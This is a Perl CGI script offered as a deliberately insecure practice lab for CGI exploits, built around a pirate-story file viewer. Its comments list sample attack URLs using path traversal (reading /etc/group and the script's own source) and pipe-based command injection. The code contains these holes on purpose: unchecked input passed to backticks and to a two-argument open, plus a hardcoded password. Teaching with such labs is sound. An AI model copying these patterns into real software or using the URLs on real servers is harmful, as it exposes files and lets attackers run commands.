#!/usr/bin/perl -w 
# This is pirateinfo, a test lab for trying out Perl CGI exploits.
# This is a VERY BAD program. It was written to allow programmers to
# play around with exploits and is therefore a good working model of
# how NOT to do things. Keep that in mind. If you install this
# somewhere, don't leave it lying around for long periods of time. Now
# that I have published this on the web, the very weak password scheme
# I'm using (the password is "pcof8") is completely useless. You can
# change the password to get a tiny bit more security. If you're using
# a totally closed system (a Mac OS X laptop with networking turned
# off and apache turned on makes a great test rig) then you can get
# rid of the password stuff completely. 
# The ostensible idea of this program is that the user selects a
# pirate from a menu and a file is retrieved about the pirate and
# returned to the user. Simple. But there is much mischief that can be
# done with this simple idea. For example, this shows the web user the
# source code of this program:
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=../cgi-bin/priateinfo1.pl
# Here is the Unix group file:
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=../../../../etc/group
# It only gets worse when you bring in the heavy pipes:
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=../../../../usr/bin/whereis%20cal|
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=../../../../usr/bin/cal%202005|
# Here's the most perverse example I could think of:
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=../../../../usr/bin/curl%20http://server/~user/cgi-bin/pirateinfo1.pl
# But there's more! You can also play with messing with the system
# call for the word count functionality. Try something like this:
# http://server/~user/cgi-bin/pirateinfo1.pl?pw=pcof8&f=bogus|cal%202005
# There's a lot of fun to be had with this.... Enjoy! And don't forget
# to disable this stuff when you're done!

use strict;
use CGI qw(:standard);
use CGI::Pretty;

print header() . start_html( { 'title'=>'An Ominous Perl CGI Disaster',
                'BGCOLOR'=>'#000000', 'text'=>'#FFFFFF', 'link'=>'#0000FF' } );
print h1('Pirates... Not So Fun') . img({src=>'../pirates/pirate.png'});

# User input ---------
my $menu= { 'bartroberts.txt'=>'Bart Roberts', 'benhornigold.txt'=>'Ben Hornigold', 
            'edwardteach.txt'=>'Edward Teach', 'henrymorgan.txt'=>'Henry Morgan', 
            'williamkidd.txt'=>'William Kidd'};
$menu= p( scrolling_list( { 'values'=>[keys %$menu], 'labels'=>$menu, 'name'=>'f', } ) );
my $auth= p( 'Enter thy password' . password_field({'name'=>'pw', 'size'=>8 }) );
# And now the entire form:
print startform("POST", "./pirateinfo.pl") . $auth . $menu . submit() . endform();

# Rough Authentication ---------
&stop unless param(); # Stop if there is no user input.
# Stop if the password is bad.
print h3('Avast Ye!') and &stop unless param('pw') eq "pcof8";

my $file= '../pirates/' . param('f');

           print hr(); #---------------------------
# Always use explicit paths for exectutables!
my $wc= qx{ /usr/bin/wc -w < $file };
$wc="who knows how many" unless $wc; 
print h4("This pirate story is $wc words long.");

           print hr(); #---------------------------
open ( FBAD, $file );
print b($_) . br() while (<FBAD>);
close FBAD;
           print hr(); #---------------------------

&stop; # Done.
sub stop {print end_html() and exit;}
